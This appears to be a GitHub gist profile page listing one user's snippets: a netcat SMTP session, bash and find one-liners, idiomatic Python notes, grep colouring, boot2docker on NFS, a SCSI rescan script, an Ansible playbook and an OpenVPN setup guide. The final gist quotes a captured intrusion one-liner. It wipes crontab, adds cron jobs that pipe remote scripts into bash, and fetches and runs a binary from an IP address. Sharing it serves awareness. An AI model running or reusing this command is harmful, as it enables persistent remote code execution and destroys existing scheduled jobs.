Skip to content

Instantly share code, notes, and snippets.

View DavidPesticcio's full-sized avatar
🚀
¯\_(ツ)_/¯

David Pesticcio DavidPesticcio

🚀
¯\_(ツ)_/¯
View GitHub Profile
@DavidPesticcio
DavidPesticcio / gist:c4b76f4b52b6187672fc7b1aea4cc1d6
Created May 11, 2016 11:29
LINUX: Send email directly to MTA with netcat
---------- mailtalk.txt ----------
helo myhost
mail from: [email protected]
rcpt to: [email protected]
data
FROM: [email protected]
TO: [email protected]
SUBJECT: This is a Test mail
blah blah
.
Find all files between a start-date, and an end-date:
( touch -t $(date --date='6 months ago' +%Y%m%d"0000") /tmp/start && touch -t $(date --date='5 months ago' +%Y%m%d"0000") /tmp/stop ) && find . -newer /tmp/start \! -newer /tmp/stop -exec ls -l {} \; | less
Some Bash variables tricks:
$ set quick brown fox jumps
$ echo ${*: -1:1} # last argument
jumps
@DavidPesticcio
DavidPesticcio / beautiful_idiomatic_python.md
Created July 8, 2016 20:09 — forked from JeffPaine/beautiful_idiomatic_python.md
Transforming Code into Beautiful, Idiomatic Python: notes from Raymond Hettinger's talk at pycon US 2013. The code examples and direct quotes are all from Raymond's talk. I've reproduced them here for my own edification and the hopes that others will find them as handy as I have!

Transforming Code into Beautiful, Idiomatic Python

Notes from Raymond Hettinger's talk at pycon US 2013 video, slides.

The code examples and direct quotes are all from Raymond's talk. I've reproduced them here for my own edification and the hopes that others will find them as handy as I have!

Looping over a range of numbers

for i in [0, 1, 2, 3, 4, 5]:
@DavidPesticcio
DavidPesticcio / gist:4246372962f5ee9c4677b961aacaff56
Last active September 28, 2017 19:42
GREP: Customise the colour of matches.
Find GNU grep results quicker with a bit of colour!
http://www.arwin.net/tech/bash.php
https://linuxaria.com/pills/coloring-grep-to-easier-research
Add this to your shell customisations file with your choice of colours:
export GREP_OPTIONS='--color=auto'
export GREP_COLOR='1;31;44'
@DavidPesticcio
DavidPesticcio / README.md
Created August 24, 2016 22:27 — forked from haggen/README.md
boot2docker on nfs

Get boot2docker working with nfs instead of vboxsf.

Tested on:

- Boot2Docker-cli version: v1.6.0
  Git commit: 9894ae9
- Boot2Docker-cli version: v1.6.2
  Git commit: cb2c3bc
@DavidPesticcio
DavidPesticcio / scan-scsi.sh
Last active September 28, 2017 19:40
Linux: scan and activate new drives
#!/bin/bash
echo "Before scan:"
dmesg | awk '/scsi/ && /Direct-Access/'
for i in $(ls -d /sys/class/scsi_host/*); do echo "- - -" > $i/scan; done
echo "After scan:"
dmesg | awk '/scsi/ && /Direct-Access/'
@DavidPesticcio
DavidPesticcio / pedantically_commented_playbook.yml
Created December 22, 2016 02:10 — forked from marktheunissen/pedantically_commented_playbook.yml
Insanely complete Ansible playbook, showing off all the options
---
# ^^^ YAML documents must begin with the document separator "---"
#
#### Example docblock, I like to put a descriptive comment at the top of my
#### playbooks.
#
# Overview: Playbook to bootstrap a new host for configuration management.
# Applies to: production
# Description:
# Ensures that a host is configured for management with Ansible.
@DavidPesticcio
DavidPesticcio / MakeOpenVPN.sh
Last active December 30, 2016 01:34 — forked from laurenorsini/MakeOpenVPN.sh
MakeOpenVPN.sh by Eric Jodoin
#!/bin/bash
# Default Variable Declarations
DEFAULT="Default.txt"
FILEEXT=".ovpn"
CRT=".crt"
KEY=".3des.key"
CA="ca.crt"
TA="ta.key"
RaspberryPi OpenVPN Tutorial by [http://readwrite.com/author/lauren-orsini/]
----------------------------
* http://readwrite.com/2014/04/10/raspberry-pi-vpn-tutorial-server-secure-web-browsing/
* http://readwrite.com/2014/04/11/building-a-raspberry-pi-vpn-part-two-creating-an-encrypted-client-side
These instructions should also be suitable for any recent OpenVPN installation, on any Linux disto - modify accordingly.
NOTE: Copy'n'paste anything between quotes below - but not the quotes, and only if it is preceeded by the word run!
I've assumed you are logged in to your RaspberryPi as the pi user.
Instructions where brackets [like-this] are used means, choose your own value.
@DavidPesticcio
DavidPesticcio / gist:0b4c1ba71e57ea769c99e8f24d4f1126
Created February 11, 2017 02:23 — forked from ismasan/gist:5647955
Some asshole tried to access my servers and run this (they couldn't)
crontab -r; echo \"1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash;\"|crontab -;wget http://88.198.20.247/k.c -O /tmp/k.c; gcc -o /tmp/k /tmp/k.c; chmod +x /tmp/k; /tmp/k||wget http://88.198.20.247/k -O /tmp/k && chmod +x /tmp/k && /tmp/k